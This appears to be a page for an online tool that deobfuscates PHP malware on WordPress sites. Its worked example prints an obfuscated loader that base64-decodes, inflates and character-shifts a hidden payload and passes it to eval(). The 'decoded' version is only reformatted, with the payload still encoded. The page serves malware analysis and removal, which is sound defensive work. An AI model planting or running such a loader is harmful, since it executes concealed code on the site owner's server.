PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php function bRk($BVyup) { $BVyup=gzinflate(base64_decode($BVyup)); for($i=0;$i<strlen($BVyup);$i++) { $BVyup[$i] = chr(ord($BVyup[$i])-1); } return $BVyup; }eval(bRk("NY/dasMwDIXvl6fQRaAtNKElsIuErFByszHYYA8wZFuhzWI5s+x2P+zZZw8mgW6+I50jgFTFGFmHs2PQjge13kALz8MTfBc3pRGGHlb2U97n9uQk9IYulVHVmSUg...

Obfuscated php code

<?php function bRk($BVyup)
{ 
$BVyup=gzinflate(base64_decode($BVyup));
 for($i=0;$i<strlen($BVyup);$i++)
 {
$BVyup[$i] = chr(ord($BVyup[$i])-1);
 }
 return $BVyup;
 }eval(bRk("NY/dasMwDIXvl6fQRaAtNKElsIuErFByszHYYA8wZFuhzWI5s+x2P+zZZw8mgW6+I50jgFTFGFmHs2PQjge13kALz8MTfBc3pRGGHlb2U97n9uQk9IYulVHVmSUga6r2tX6bwsfo52U2U41Lxc6HE6GExLyRGi1+Ocar1NrZtml2t51RjJZ67QSZ3atCb6NQtN2qS6ZRfDb9p56E/IX+0IIimT00x0nN+914//jCQ6kyzF0alTDTNX+wzvG3kO+lmVc3SeYpRM+QlF3xUxzufgE="));?>

Decoded(de-Obfuscated) php code

<?php

function bRk($BVyup)
{
    $BVyup = gzinflate(base64_decode($BVyup));
    for ($i = 0; $i < strlen($BVyup); $i++) {
        $BVyup[$i] = chr(ord($BVyup[$i]) - 1);
    }
    return $BVyup;
}
eval(bRk("NY/dasMwDIXvl6fQRaAtNKElsIuErFByszHYYA8wZFuhzWI5s+x2P+zZZw8mgW6+I50jgFTFGFmHs2PQjge13kALz8MTfBc3pRGGHlb2U97n9uQk9IYulVHVmSUga6r2tX6bwsfo52U2U41Lxc6HE6GExLyRGi1+Ocar1NrZtml2t51RjJZ67QSZ3atCb6NQtN2qS6ZRfDb9p56E/IX+0IIimT00x0nN+914//jCQ6kyzF0alTDTNX+wzvG3kO+lmVc3SeYpRM+QlF3xUxzufgE="));

Malware detection & removal plugin for WordPress